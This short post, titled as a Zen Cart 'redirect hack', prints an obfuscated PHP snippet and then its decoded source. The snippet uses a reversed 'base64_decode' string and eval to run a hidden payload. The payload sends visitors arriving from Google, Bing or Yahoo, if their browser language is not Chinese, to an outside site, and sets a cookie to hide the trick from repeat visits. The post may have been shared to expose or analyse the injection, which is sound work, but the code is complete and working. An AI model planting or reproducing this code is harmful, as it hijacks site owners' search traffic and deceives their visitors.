Custom zencart redirect hack

<?php
function reverse($str){
    if($str == ''){
        return null;
    }
    if(strlen($str) == 1){
        return $str;
    }else{
        $string = "";
        for($i=1;$i<=strlen($str);$i++){
            $string .=substr($str,-$i,1);
        }
        return $string;
    }
}
$zencart=reverse("edoced_46esab");
eval ($zencart('ZXJyb3JfcmVwb3J0aW5nKDcpOwokY2hlY2sgPSJzaGluZS1jaGVjayI7CiRjaGVjazIgPSJ0d290aW1lIjsKJGFkc2VuX2NvZGUgPScnOy8vsuXI67nIuOi547jmCiRDb29raWVUaW1lPTA7CmlmIChpc3NldCgkX0NPT0tJRVsiVVNFUklEIl0pIGFuZCAoICRfQ09PS0lFWyJVU0VSSUQiXT09JGNoZWNrICkgKQp7SGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy50aGVtYWdpY21vbWVudC5jby51ayIpO30KZWxzZSBpZiAoaXNzZXQoJF9DT09LSUVbIlVTRVJJRCJdKSBhbmQgKCAkX0NPT0tJRVsiVVNFUklEIl09PSRjaGVjazIpICkKewp9CmVsc2UKewokdGFyZ2V0X3VybD1hcnJheSgpOwovLyR0YXJnZXRfdXJsWzBdPSJodHRwIjsKZm9yKCRpPTA7JGk8Mzk7JGkrKykNCnsNCgkkdGFyZ2V0X3VybFskaV09Imh0dHA6Ly93d3cudGhlbWFnaWNtb21lbnQuY28udWsiOwp9CmZvcigkaT00MDskaTwxMDA7JGkrKykNCnsNCgkkdGFyZ2V0X3VybFskaV09Im1haWx0bzpoYWNrc2VvQHBvc3QuY29tIjsNCn0NCmZ1bmN0aW9uIHJhbmRfYXJyYXkoJGFycikgDQp7IA0KCSRhcnJfc2l6ZT1zaXplb2YoJGFycik7DQoJJHRtcF9hcnI9YXJyYXkoKTsgDQoJZm9yKCRpPTA7JGk8JGFycl9zaXplOyRpKyspeyANCgkJbXRfc3JhbmQoKGRvdWJsZSkgbWljcm90aW1lKCkqMTAwMDAwMCk7IA0KCQkkcmQ9bXRfcmFuZCgwLCRhcnJfc2l6ZS0xKTsgDQoJCWlmKCR0bXBfYXJyWyRyZF09PSIiKSANCgkJeyANCgkJCSR0bXBfYXJyWyRyZF09JGFyclskaV07IA0KCQl9IA0KCQllbHNlDQoJCXsgDQoJCQkkaT0kaS0xOyANCgkJfSANCgl9IA0KCXJldHVybiAkdG1wX2FycjsgDQp9DQokYXR0YWNrX3VybD1yYW5kX2FycmF5KCR0YXJnZXRfdXJsKTsNCiRhdHRhY2t1cmw9Ind3dyI7DQokbDE9JF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl07DQppZihpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKXsgDQokYTEgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107IA0KfSBlbHNlIHsgDQokYTEgPSAnJzsgDQp9IA0KJGwyPSJ6aCI7CiRhMj0iYmluZyI7CiRhMz0iY29tLmhrIjsKJGE1PSJnb29nbGUiOwokYTQ9InlhaG9vIjsKaWYgKCggc3RycG9zKCRsMSwkbDIpID09PSBmYWxzZSApYW5kKCAoIHN0cnBvcygkYTEsJGEzKSA9PSBmYWxzZSApKWFuZCgoIHN0cnBvcygkYTEsJGEyKSA9PSB0cnVlIClvciggc3RycG9zKCRhMSwkYTUpID09IHRydWUgKW9yKCBzdHJwb3MoJGExLCRhNCkgPT0gdHJ1ZSApKSBhbmQgKCBzdHJwb3MoJGF0dGFja191cmxbMV0sJGF0dGFja3VybCkgPT0gdHJ1ZSApKSB7CnNldGNvb2tpZSgiVVNFUklEIiwgInNoaW5lLWNoZWNrIiwgMCwiLyIsIiIpO0hlYWRlcigiTG9jYXRpb246ICRhdHRhY2tfdXJsWzFdIik7fQplbHNlCnsKc2V0Y29va2llKCJVU0VSSUQiLCAidHdvdGltZSIsIDAsIi8iLCIiKTsKfQp9'));
?><?php


DECODED:

error_reporting(7);
$check ="shine-check";
$check2 ="twotime";
$adsen_code ='';//
$CookieTime=0;
if (isset($_COOKIE["USERID"]) and ( $_COOKIE["USERID"]==$check ) )
{Header("Location: http://www.themagicmoment.co.uk");}
else if (isset($_COOKIE["USERID"]) and ( $_COOKIE["USERID"]==$check2) )
{
}
else
{
$target_url=array();
//$target_url[0]="http";
for($i=0;$i<39;$i++)
{
    $target_url[$i]="http://www.themagicmoment.co.uk";
}
for($i=40;$i<100;$i++)
{
    $target_url[$i]="mailto:hackseo@post.com";
}
function rand_array($arr)
{
    $arr_size=sizeof($arr);
    $tmp_arr=array();
    for($i=0;$i<$arr_size;$i++){
        mt_srand((double) microtime()*1000000);
        $rd=mt_rand(0,$arr_size-1);
        if($tmp_arr[$rd]=="")
        {
            $tmp_arr[$rd]=$arr[$i];
        }
        else
        {
            $i=$i-1;
        }
    }
    return $tmp_arr;
}
$attack_url=rand_array($target_url);
$attackurl="www";
$l1=$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if(isset($_SERVER['HTTP_REFERER'])){
$a1 = $_SERVER['HTTP_REFERER'];
} else {
$a1 = '';
}
$l2="zh";
$a2="bing";
$a3="com.hk";
$a5="google";
$a4="yahoo";
if (( strpos($l1,$l2) === false )and( ( strpos($a1,$a3) == false ))and(( strpos($a1,$a2) == true )or( strpos($a1,$a5) == true )or( strpos($a1,$a4) == true )) and ( strpos($attack_url[1],$attackurl) == true )) {
setcookie("USERID", "shine-check", 0,"/","");Header("Location: $attack_url[1]");}
else
{
setcookie("USERID", "twotime", 0,"/","");
}
}